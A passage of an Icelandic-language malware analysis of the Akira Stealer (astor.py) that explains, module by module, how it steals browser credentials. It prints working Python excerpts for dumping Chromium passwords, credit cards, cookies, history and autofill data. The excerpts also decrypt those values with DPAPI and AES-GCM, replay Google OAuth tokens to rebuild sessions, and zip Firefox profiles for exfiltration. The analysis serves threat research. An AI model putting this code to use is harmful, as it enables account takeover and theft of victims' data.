Browser",[633,6254,6255],{},"Vivaldi Browser",[633,6257,6258],{},"Yandex Browser",[633,6260,6261],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[633,6263,6264,6267,6268,1138,6271,6282,6284,6285,6294,6296,6297,646,6300,6303],{},[567,6265,6266],{},"Firefox‑byggðir"," (í gegnum ",[578,6269,6270],{},"GeckoDriver",[630,6272,6273,6276,6279],{},[633,6274,6275],{},"Mozilla Firefox",[633,6277,6278],{},"Waterfox",[633,6280,6281],{},"Pale Moon",[724,6283],{},"Akira finnur notandaprófíla dýnamískt með umhverfisbreytum og vel þekktri möppuuppbyggingu:",[615,6286,6288],{"className":4516,"code":6287,"language":4518,"meta":529,"style":529},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[578,6289,6290],{"__ignoreMap":529},[1712,6291,6292],{"class":1714,"line":1715},[1712,6293,6287],{},[724,6295],{},"Það athugar endurkvæmt hvaða browser-prófílar eru til (t.d. ",[578,6298,6299],{},"Default",[578,6301,6302],{},"Profile 1"," og fleiri) og beinist að SQLite-gagnagrunnum inni í þeim slóðum.",[888,6305,6307],{"id":6306},"_741-gagnategundir-sem-dregnar-eru-út","7.4.1 Gagnategundir sem dregnar eru út",[525,6309,894],{},[1417,6311,4706,6312],{},[1433,6313,6314,4706,6327,4706,6340,4706,6352,4706,6364,4706,6376,4706,6387],{},[1423,6315,4711,6316,4711,6320,4711,6324,4706],{},[1426,6317,6319],{"style":6318},"text-align: left; width: 22%;","Gagnategund",[1426,6321,6323],{"style":6322},"text-align: left; width: 28%;","Upprunaskrá",[1426,6325,6326],{},"Athugasemdir",[1423,6328,4711,6329,4711,6332,4711,6337,4706],{},[1438,6330,6331],{},"Vistuð lykilorð",[1438,6333,6334,6336],{},[578,6335,584],{}," (Chromium)",[1438,6338,6339],{},"Afkóðað með DPAPI eða AES-GCM (eftir Chromium v80)",[1423,6341,4711,6342,4711,6345,4711,6349,4706],{},[1438,6343,6344],{},"Cookies",[1438,6346,6347],{},[578,6348,6344],{},[1438,6350,6351],{},"Getur innihaldið setutokens, sérstaklega fyrir Google- og Facebook-reikninga",[1423,6353,4711,6354,4711,6357,4711,6361,4706],{},[1438,6355,6356],{},"Sjálfvirk útfyllingargögn",[1438,6358,6359],{},[578,6360,588],{},[1438,6362,6363],{},"Heimilisföng, tölvupóstar, símanúmer og fleira",[1423,6365,4711,6366,4711,6369,4711,6373,4706],{},[1438,6367,6368],{},"Kreditkort",[1438,6370,6371],{},[578,6372,588],{},[1438,6374,6375],{},"Dulkóðað, þarf masterlykil",[1423,6377,4711,6378,4711,6381,4711,6384,4706],{},[1438,6379,6380],{},"Setutokens",[1438,6382,6383],{},"Í minni og í cookies",[1438,6385,6386],{},"Nær yfir Gmail, Google-reikninga og replay á Discord-OAUTH",[1423,6388,4711,6389,4711,6392,4711,6400,4706],{},[1438,6390,6391],{},"Ferilskrá og URL",[1438,6393,6394,646,6397],{},[578,6395,6396],{},"History",[578,6398,6399],{},"Visited Links",[1438,6401,6402],{},"Voru einnig exfiltreruð til árásaraðilans",[853,6404],{"className":6405},[856,857],[525,6407,6408,6411],{},[567,6409,6410],{},"3. Útdráttareiningar","\nÞegar höfundar malware beinast að browsers eru helstu fjársjóðirnir hinir ýmsu SQLite-gagnagrunnar þar sem Chrome, Firefox og skyld forrit geyma credentials, cookies, ferilskrá og sjálfvirkar útfyllingarfærslur. astor.py vefur saman léttu Python-kóða og innbyggðum API til að plokka hvert gagnabrot með aðferð, og jafnvel endurspila lifandi OAuth-setur, án þess að skilja eftir spor. Hér fyrir neðan er ítarleg ferð eining fyrir eining, orðrétt úr kóðanum.",[888,6413,6415,6416,1138],{"id":6414},"_742-lykilorðadumpari-chromiumgetpasswords","7.4.2 Lykilorðadumpari (",[578,6417,6418],{},"Chromium.GetPasswords",[525,6420,894],{},[525,6422,6423],{},"Þessi eining leitar með aðferð í gegnum alla Chromium-byggða browser-prófíla til að draga út vistuð innskráningar-credentials. Með því að beinast að Login Data SQLite-gagnagrunninum sækir hún notandanöfn og dulkóðuð lykilorð og notar svo dulkóðunarlykil pallsins (sóttan í gegnum DPAPI eða AES-GCM) til að afkóða þau í hreinan texta. Þessi credentials eru mjög verðmæt til að stikla áfram eftir kompromíseringu eða til að yfirtaka reikninga.",[615,6425,6427],{"className":4516,"code":6426,"language":4518,"meta":529,"style":529},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[578,6428,6429,6434,6439,6444,6449,6454,6459,6464,6469,6474],{"__ignoreMap":529},[1712,6430,6431],{"class":1714,"line":1715},[1712,6432,6433],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1712,6435,6436],{"class":1714,"line":530},[1712,6437,6438],{},"    for file in files:\n",[1712,6440,6441],{"class":1714,"line":2096},[1712,6442,6443],{},"        if file.lower() == \"login data\":\n",[1712,6445,6446],{"class":1714,"line":2102},[1712,6447,6448],{},"            # Copy DB → open → extract rows\n",[1712,6450,6451],{"class":1714,"line":2424},[1712,6452,6453],{},"            results = cursor.execute(\n",[1712,6455,6456],{"class":1714,"line":2430},[1712,6457,6458],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1712,6460,6461],{"class":1714,"line":3086},[1712,6462,6463],{},"            ).fetchall()\n",[1712,6465,6466],{"class":1714,"line":3881},[1712,6467,6468],{},"            for url, user, pwd_blob in results:\n",[1712,6470,6471],{"class":1714,"line":3887},[1712,6472,6473],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1712,6475,6476],{"class":1714,"line":4132},[1712,6477,6478],{},"                passwords.append((url, user, clear_pwd))\n",[630,6480,6481,6494,6500,6508,6526],{},[633,6482,6483,6486,6487,6489,6490,6493],{},[567,6484,6485],{},"Finnur"," hvern ",[578,6488,584],{}," SQLite-gagnagrunn undir ",[578,6491,6492],{},"User Data","-möppu browsersins.",[633,6495,6496,6499],{},[567,6497,6498],{},"Afritar"," í tímabundna skrá til að forðast læsingar browsersins.",[633,6501,6502,998,6505,613],{},[567,6503,6504],{},"SQL-fyrirspurn",[578,6506,6507],{},"SELECT origin_url, username_value, password_value FROM logins",[633,6509,6510,6513,6514,6517,6518,6521,6522,6525],{},[567,6511,6512],{},"Afkóðar"," hvert ",[578,6515,6516],{},"password_value","-blob með AES‑GCM (",[578,6519,6520],{},"v10","/",[578,6523,6524],{},"v11",") eða fellur til baka á Windows DPAPI.",[633,6527,6528,6531,6532,613],{},[567,6529,6530],{},"Skrifar"," úttakið í ",[578,6533,6534],{},"Passwords/\u003CBrowserName> Passwords.txt",[888,6536,6538,6539,1138],{"id":6537},"_743-kreditkortadumpari-chromiumgetcreditcards","7.4.3 Kreditkortadumpari (",[578,6540,6541],{},"Chromium.GetCreditCards",[525,6543,894],{},[525,6545,6546],{},"Hér nær stealerinn í vistuð kreditkortagögn úr Web Data-skrá hvers browser-prófíls. Hann leggur áherslu á að draga út gildistíma og dulkóðuð kortanúmer, sem eru svo afkóðuð með sömu rökvísi og lykilorðin. Þótt CVV-kóðar séu yfirleitt ekki vistaðir má samt misnota upplýsingarnar sem endurheimtast til svika þar sem kortið er ekki til staðar.",[615,6548,6550],{"className":4516,"code":6549,"language":4518,"meta":529,"style":529},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[578,6551,6552,6557,6562,6567,6572,6577],{"__ignoreMap":529},[1712,6553,6554],{"class":1714,"line":1715},[1712,6555,6556],{},"results = cursor.execute(\n",[1712,6558,6559],{"class":1714,"line":530},[1712,6560,6561],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1712,6563,6564],{"class":1714,"line":2096},[1712,6565,6566],{},").fetchall()\n",[1712,6568,6569],{"class":1714,"line":2102},[1712,6570,6571],{},"for month, year, enc_cc in results:\n",[1712,6573,6574],{"class":1714,"line":2424},[1712,6575,6576],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1712,6578,6579],{"class":1714,"line":2430},[1712,6580,6581],{},"    ccs.append((cc_number, month, year))\n",[630,6583,6584,6592,6599,6607],{},[633,6585,6586,1564,6589,6591],{},[567,6587,6588],{},"Beinist að",[578,6590,588],{}," SQLite-geymslunum undir hverjum prófíl.",[633,6593,6594,998,6596,613],{},[567,6595,6504],{},[578,6597,6598],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[633,6600,6601,1564,6603,6606],{},[567,6602,6512],{},[578,6604,6605],{},"card_number_encrypted"," nákvæmlega eins og lykilorðablobbin.",[633,6608,6609,6612,6613,613],{},[567,6610,6611],{},"Skilar"," í ",[578,6614,6615],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[888,6617,6619,6620,1138],{"id":6618},"_744-cookie-dumpari-chromiumgetcookies","7.4.4 Cookie-dumpari (",[578,6621,6622],{},"Chromium.GetCookies",[525,6624,894],{},[525,6626,6627],{},"Cookies, og einkum setucookies, eru helstu skotmörk til að yfirtaka reikninga án lykilorða. Þessi eining dumpar allar cookie-skrár þvert á prófíla, afkóðar þær og safnar nauðsynlegum lýsigögnum eins og léni, heiti og gildistíma. Ásamt fingrafaratöku geta þessi cookies gert replay-árásir á auðkenndar þjónustur snurðulausar.",[615,6629,6631],{"className":4516,"code":6630,"language":4518,"meta":529,"style":529},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[578,6632,6633,6637,6642,6646,6651,6656],{"__ignoreMap":529},[1712,6634,6635],{"class":1714,"line":1715},[1712,6636,6556],{},[1712,6638,6639],{"class":1714,"line":530},[1712,6640,6641],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1712,6643,6644],{"class":1714,"line":2096},[1712,6645,6566],{},[1712,6647,6648],{"class":1714,"line":2102},[1712,6649,6650],{},"for host, name, path, blob, expiry in results:\n",[1712,6652,6653],{"class":1714,"line":2424},[1712,6654,6655],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1712,6657,6658],{"class":1714,"line":2430},[1712,6659,6660],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[630,6662,6663,6671,6679,6687],{},[633,6664,6665,6486,6668,6670],{},[567,6666,6667],{},"Skannar",[578,6669,6344],{}," SQLite-gagnagrunn.",[633,6672,6673,1564,6676,613],{},[567,6674,6675],{},"Velur",[578,6677,6678],{},"host_key, name, path, encrypted_value, expires_utc",[633,6680,6681,6513,6683,6686],{},[567,6682,6512],{},[578,6684,6685],{},"encrypted_value","-blob til að afhjúpa hinn eiginlega cookie-streng.",[633,6688,6689,6612,6692,613],{},[567,6690,6691],{},"Vistar",[578,6693,6694],{},"Cookies/\u003CBrowserName> Cookies.txt",[888,6696,6698,6699,1138],{"id":6697},"_745-dumpari-google-seta-chromiumdump_google_sessions","7.4.5 Dumpari Google-seta (",[578,6700,6701],{},"Chromium.dump_google_sessions",[525,6703,894],{},[525,6705,6706],{},"Þessi rútína er einn af háþróaðri hlutunum og afkóðar vistuð OAuth-tokens úr token_service-töflunni. Með því að endurspila þau í gegnum multilogin-endapunkt Google getur malware-ið endurmyndað virk setucookies, sem gerir árásaraðilum kleift að yfirtaka Google-reikninga án credentials. Þetta sýnir hvernig access tokens eru orðin helstu skotmörk í nútíma stealers.",[615,6708,6710],{"className":4516,"code":6709,"language":4518,"meta":529,"style":529},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[578,6711,6712,6717,6722,6727,6732,6737,6742,6747,6752,6757,6762,6767,6771],{"__ignoreMap":529},[1712,6713,6714],{"class":1714,"line":1715},[1712,6715,6716],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1712,6718,6719],{"class":1714,"line":530},[1712,6720,6721],{},"for service, blob in cursor.fetchall():\n",[1712,6723,6724],{"class":1714,"line":2096},[1712,6725,6726],{},"    iv = blob[3:15]\n",[1712,6728,6729],{"class":1714,"line":2102},[1712,6730,6731],{},"    ciphertext = blob[15:-16]\n",[1712,6733,6734],{"class":1714,"line":2424},[1712,6735,6736],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1712,6738,6739],{"class":1714,"line":2430},[1712,6740,6741],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1712,6743,6744],{"class":1714,"line":3086},[1712,6745,6746],{},"    # Replays via POST to OAuth endpoint\n",[1712,6748,6749],{"class":1714,"line":3881},[1712,6750,6751],{},"    response = requests.post(\n",[1712,6753,6754],{"class":1714,"line":3887},[1712,6755,6756],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1712,6758,6759],{"class":1714,"line":4132},[1712,6760,6761],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1712,6763,6764],{"class":1714,"line":5049},[1712,6765,6766],{},"        data={\"source\": \"com.google.Drive\"}\n",[1712,6768,6769],{"class":1714,"line":5055},[1712,6770,5980],{},[1712,6772,6773],{"class":1714,"line":5061},[1712,6774,6775],{},"    save each account’s cookies to file\n",[630,6777,6778,6793,6802,6812],{},[633,6779,6780,1564,6783,6786,6787,6790,6791,613],{},[567,6781,6782],{},"Sækir",[578,6784,6785],{},"service"," og hrátt ",[578,6788,6789],{},"encrypted_token"," úr afriti af ",[578,6792,588],{},[633,6794,6795,1282,6798,6801],{},[567,6796,6797],{},"AES‑GCM-afkóðun",[578,6799,6800],{},"Local State","-lykli browsersins.",[633,6803,6804,6807,6808,6811],{},[567,6805,6806],{},"Endurspilar"," afkóðuð tokens í POST á ",[578,6809,6810],{},"multilogin","-API Google til að endurgera gild OAuth-cookies.",[633,6813,6814,6816,6817,613],{},[567,6815,6530],{}," setuskrár fyrir hvern reikning undir ",[578,6818,6819],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[888,6821,6823,6824,1138],{"id":6822},"_746-ferilskrárdumpari-chromiumgethistory","7.4.6 Ferilskrárdumpari (",[578,6825,6826],{},"Chromium.GetHistory",[525,6828,894],{},[525,6830,6831],{},"Þetta fall dregur út færslur úr vafraferli, þar á meðal URL, titil og heimsóknartíðni. Auk þess að vera innrás í einkalíf hjálpa þessi gögn árásaraðilum að skilja hegðun fórnarlambsins, finna verðmæt skotmörk (t.d. bankavefi) og sníða payloads fyrir félagslega hönnun.",[615,6833,6835],{"className":4516,"code":6834,"language":4518,"meta":529,"style":529},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[578,6836,6837,6841,6846,6850,6855],{"__ignoreMap":529},[1712,6838,6839],{"class":1714,"line":1715},[1712,6840,6556],{},[1712,6842,6843],{"class":1714,"line":530},[1712,6844,6845],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1712,6847,6848],{"class":1714,"line":2096},[1712,6849,6566],{},[1712,6851,6852],{"class":1714,"line":2102},[1712,6853,6854],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1712,6856,6857],{"class":1714,"line":2424},[1712,6858,6859],{},"return [(url, title, count) for url, title, count, _ in history]\n",[630,6861,6862,6873,6883],{},[633,6863,6864,1564,6866,6869,6870,6872],{},[567,6865,6675],{},[578,6867,6868],{},"url, title, visit_count, last_visit_time"," úr hverjum ",[578,6871,6396],{},"-gagnagrunni.",[633,6874,6875,6878,6879,6882],{},[567,6876,6877],{},"Raðar"," færslum eftir ",[578,6880,6881],{},"last_visit_time"," í fallandi röð.",[633,6884,6885,1564,6887,613],{},[567,6886,6611],{},[578,6888,6889],{},"History/\u003CBrowserName> History.txt",[888,6891,6893,6894,1138],{"id":6892},"_747-dumpari-sjálfvirkra-útfyllinga-chromiumgetautofills","7.4.7 Dumpari sjálfvirkra útfyllinga (",[578,6895,6896],{},"Chromium.GetAutofills",[525,6898,894],{},[525,6900,6901],{},"Sjálfvirkar útfyllingarfærslur, svo sem heimilisföng, nöfn, tölvupóstar og stundum gögn sem tengjast greiðslum, eru sópaðar úr Web Data-geymslu browsersins. Þessi gildi virðast ef til vill ekki afgerandi, en samanlögð gefa þau ríka mynd af auðkenni og hegðun fórnarlambsins.",[615,6903,6905],{"className":4516,"code":6904,"language":4518,"meta":529,"style":529},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[578,6906,6907,6911,6916,6920,6925],{"__ignoreMap":529},[1712,6908,6909],{"class":1714,"line":1715},[1712,6910,6556],{},[1712,6912,6913],{"class":1714,"line":530},[1712,6914,6915],{},"    \"SELECT name, value FROM autofill\"\n",[1712,6917,6918],{"class":1714,"line":2096},[1712,6919,6566],{},[1712,6921,6922],{"class":1714,"line":2102},[1712,6923,6924],{},"for field, value in results:\n",[1712,6926,6927],{"class":1714,"line":2424},[1712,6928,6929],{},"    autofills.append((field.strip(), value.strip()))\n",[630,6931,6932,6945],{},[633,6933,6934,6936,6937,6940,6941,6944],{},[567,6935,6782],{}," færslur úr útfyllingum forma: ",[578,6938,6939],{},"name, value"," úr ",[578,6942,6943],{},"web data","-skránni.",[633,6946,6947,6949,6950,613],{},[567,6948,6530],{}," út sem ",[578,6951,6952],{},"Autofill/\u003CBrowserName> Autofill.txt",[888,6954,6956,6957,585,6959,1138],{"id":6955},"_748-firefox-prófílagrabbari-geckodriver-og-grabfirefoxprofiles","7.4.8 Firefox-prófílagrabbari (",[578,6958,6270],{},[578,6960,6961],{},"grabFirefoxProfiles",[525,6963,894],{},[525,6965,6966],{},"Ólíkt fínkornóttu Chromium-rútínunum velur þetta fall breiða nálgun: það þjappar allri Firefox-prófílmöppunni, þar á meðal vistuðum innskráningum, cookies og bókamerkjum, og exfiltrerar hana í heilu lagi. Það tryggir að árásaraðilar geti greint eða dregið út gögn utan nets og komist fram hjá afkóðunarhindrunum með þekktum NSS-verkfærum.",[615,6968,6970],{"className":4516,"code":6969,"language":4518,"meta":529,"style":529},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[578,6971,6972,6977,6982,6987],{"__ignoreMap":529},[1712,6973,6974],{"class":1714,"line":1715},[1712,6975,6976],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1712,6978,6979],{"class":1714,"line":530},[1712,6980,6981],{},"    for root, dirs, files in os.walk(source_path):\n",[1712,6983,6984],{"class":1714,"line":2096},[1712,6985,6986],{},"        zipf.write(each file)\n",[1712,6988,6989],{"class":1714,"line":2102},[1712,6990,6991],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[630,6993,6994,7004,7014],{},[633,6995,6996,6999,7000,7003],{},[567,6997,6998],{},"Pakkar"," allri ",[578,7001,7002],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles","-möppunni í ZIP.",[633,7005,7006,7009,7010,7013],{},[567,7007,7008],{},"Nefnir"," hana ",[578,7011,7012],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," og sendir niðurhalshlekkinn yfir sömu webhook-rásir.",[633,7015,7016,7019,7020,646,7023,646,7026,7029],{},[567,7017,7018],{},"Kallar einnig"," á sömu SQLite-byggðu útdráttarföllin (",[578,7021,7022],{},"logins.json",[578,7024,7025],{},"cookies.sqlite",[578,7027,7028],{},"places.sqlite",") á hvern Firefox-prófíl með þeim NSS-afkóðunarrútínum sem þegar eru til staðar.",[888,7031,7033],{"id":7032},"_749-samantekt-útdráttar","7.4.9 Samantekt útdráttar",[525,7035,894],{},[525,7037,7038,7039,646,7041,646,7043,646,7045,585,7047,7050,7051,7054,7055,7057,7058,646,7060,585,7062,7064,7065,7068],{},"Astor.py stjórnar heildstæðri kompromíseringu browsersins með því að safna með aðferð hverju credential og hverjum setu-artifacti þvert á Chromium-byggða og Firefox-klienta. Það finnur og afritar hverja SQLite-geymslu á öruggan hátt, ",[578,7040,584],{},[578,7042,588],{},[578,7044,6344],{},[578,7046,6396],{},[578,7048,7049],{},"autofill",", og keyrir svo markvissar SQL-fyrirspurnir til að draga út URL, notandanöfn, lykilorð, kreditkortaupplýsingar, cookies, vafraferil og útfyllingarfærslur forma. Lykilorð og greiðslugögn eru afkóðuð með AES-GCM (eða falla til baka á Windows DPAPI), en cookies eru pakkað upp á sama hátt til að afhjúpa gildi þeirra í plaintext. Fyrir Google-reikninga eru dulkóðuð OAuth-tokens úr ",[578,7052,7053],{},"token_service"," afkóðuð og endurspiluð gegn ",[578,7056,6810],{},"-API til að endurmynda lifandi setucookies. Að lokum eru Firefox-prófílar pakkaðir í heilu lagi (þar á meðal ",[578,7059,7022],{},[578,7061,7025],{},[578,7063,7028],{},") og afhentir sem ZIP, svo enginn artifact verði eftir. Þessi pípa frá upphafi til enda keyrir hljóðlega undir ",[578,7066,7067],{},"%TEMP%\\\u003CComputerName>"," og býr til snyrtilega skipulagðar úttaksskrár fyrir hvern gagnaflokk.",[740,7070,7072],{"id":7071},"_75-rökvísi-afkóðunar","7.5 Rökvísi afkóðunar",[525,7074,746],{},[525,7076,7077],{},"Nútíma browsers eins og Chrome og Edge dulkóða viðkvæm gögn, svo sem lykilorð, cookies og kreditkortaupplýsingar, áður en þau eru vistuð staðbundið. Akira hefur innbyggðar afkóðunarrútínur sem eru sniðnar að því að takast á við bæði eldri og núverandi dulkóðunaraðferðir Chromium. Það tryggir að það geti dregið út gögn í hreinum texta óháð því hvaða patch-stigi eða browser-útgáfu kerfið er á.",[525,7079,7080],{},"Kjarni þessa ferlis er útdráttur og afkóðun á meginlykli browsersins, sem geymdur er í skrá sem heitir Local State. Eftir útgáfu browsersins og Windows-byggingu velur Akira dýnamískt viðeigandi afkóðunaraðferð:",[525,7082,7083],{},"DPAPI (Data Protection API) er notað á eldri kerfum, þar sem Chrome geymir leyndarmál varin af Windows-credentials núverandi notanda.",[525,7085,7086],{},"AES-GCM er notað í nýlegum Chromium-byggingum, þar sem meginlykill sem myndaður er af handahófi er sjálfur dulkóðaður með DPAPI og svo notaður til dulkóðunar notandagagna inni í forritinu.",[525,7088,7089],{},"Með því að afkóða Local State-meginlykilinn fyrst fær Akira getuna til að opna öll leyndarmál browsersins, sem greiðir brautina fyrir útdrætti á credentials, tokens, cookies og fleiru.",[525,7091,7092],{},[567,7093,7094],{},"Útdráttur lykils",[615,7096,7098],{"className":4516,"code":7097,"language":4518,"meta":529,"style":529},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[578,7099,7100,7105,7110,7115],{"__ignoreMap":529},[1712,7101,7102],{"class":1714,"line":1715},[1712,7103,7104],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1712,7106,7107],{"class":1714,"line":530},[1712,7108,7109],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1712,7111,7112],{"class":1714,"line":2096},[1712,7113,7114],{},"    local_state = json.load(f)\n",[1712,7116,7117],{"class":1714,"line":2102},[1712,7118,7119],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[525,7121,7122],{},[567,7123,7124],{},"Afkóðun (AES-GCM):",[615,7126,7128],{"className":4516,"code":7127,"language":4518,"meta":529,"style":529},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[578,7129,7130,7135,7140,7145,7150],{"__ignoreMap":529},[1712,7131,7132],{"class":1714,"line":1715},[1712,7133,7134],{},"nonce = value[3:15]\n",[1712,7136,7137],{"class":1714,"line":530},[1712,7138,7139],{},"ciphertext = value[15:-16]\n",[1712,7141,7142],{"class":1714,"line":2096},[1712,7143,7144],{},"tag = value[-16:]\n",[1712,7146,7147],{"class":1714,"line":2102},[1712,7148,7149],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1712,7151,7152],{"class":1714,"line":2424},[1712,7153,7154],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[525,7156,7157,7158,613],{},"Ef þörf er á að falla til baka á DPAPI (á eldri kerfum) notar það ",[578,7159,7160],{},"win32crypt.CryptUnprotectData()",[525,7162,7163,7169],{},[567,7164,7165,7166,1199],{},"Skýring á ",[578,7167,7168],{},"decrypt_password_blob","\nÞetta fall sýnir hvernig Akira Stealer afkóðar hvert vistað lykilorðagildi úr Chromium-byggðum browsers. Það tekur á tveimur tilvikum:",[2110,7171,7172,7182],{},[633,7173,7174,7177,7178,7181],{},[567,7175,7176],{},"Windows DPAPI-blob"," (eldri gögn eða gögn sem eru ekki GCM-dulkóðuð): fellur til baka á kerfiskallið ",[578,7179,7180],{},"CryptUnprotectData",", sem notar Windows-credentials notandans til afkóðunar.",[633,7183,7184,7187,7188,7191],{},[567,7185,7186],{},"AES-GCM-dulkóðuð blob"," (snið Chrome v10/v11): les útgáfuhausinn, dregur út IV og sannvottunartag og notar ",[578,7189,7190],{},"cryptography","-safnið til að afkóða payloadinn á öruggan hátt.",[615,7193,7195],{"className":4516,"code":7194,"language":4518,"meta":529,"style":529},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[578,7196,7197,7202,7207,7211,7215,7220,7224,7229,7233,7238,7243,7248,7252,7257,7262,7266,7271,7276,7281,7286,7290,7295,7300,7305,7310,7315,7320,7325,7330,7335,7339,7344,7349,7354,7359,7364,7368,7373,7377,7382,7387,7391,7396],{"__ignoreMap":529},[1712,7198,7199],{"class":1714,"line":1715},[1712,7200,7201],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1712,7203,7204],{"class":1714,"line":530},[1712,7205,7206],{},"from cryptography.hazmat.backends import default_backend\n",[1712,7208,7209],{"class":1714,"line":2096},[1712,7210,3878],{"emptyLinePlaceholder":325},[1712,7212,7213],{"class":1714,"line":2102},[1712,7214,3878],{"emptyLinePlaceholder":325},[1712,7216,7217],{"class":1714,"line":2424},[1712,7218,7219],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1712,7221,7222],{"class":1714,"line":2430},[1712,7223,5854],{},[1712,7225,7226],{"class":1714,"line":3086},[1712,7227,7228],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1712,7230,7231],{"class":1714,"line":3881},[1712,7232,3878],{"emptyLinePlaceholder":325},[1712,7234,7235],{"class":1714,"line":3887},[1712,7236,7237],{},"    Parameters:\n",[1712,7239,7240],{"class":1714,"line":4132},[1712,7241,7242],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1712,7244,7245],{"class":1714,"line":5049},[1712,7246,7247],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1712,7249,7250],{"class":1714,"line":5055},[1712,7251,3878],{"emptyLinePlaceholder":325},[1712,7253,7254],{"class":1714,"line":5061},[1712,7255,7256],{},"    Returns:\n",[1712,7258,7259],{"class":1714,"line":5067},[1712,7260,7261],{},"    - Decrypted UTF-8 plaintext password\n",[1712,7263,7264],{"class":1714,"line":5073},[1712,7265,5854],{},[1712,7267,7268],{"class":1714,"line":5079},[1712,7269,7270],{},"    # 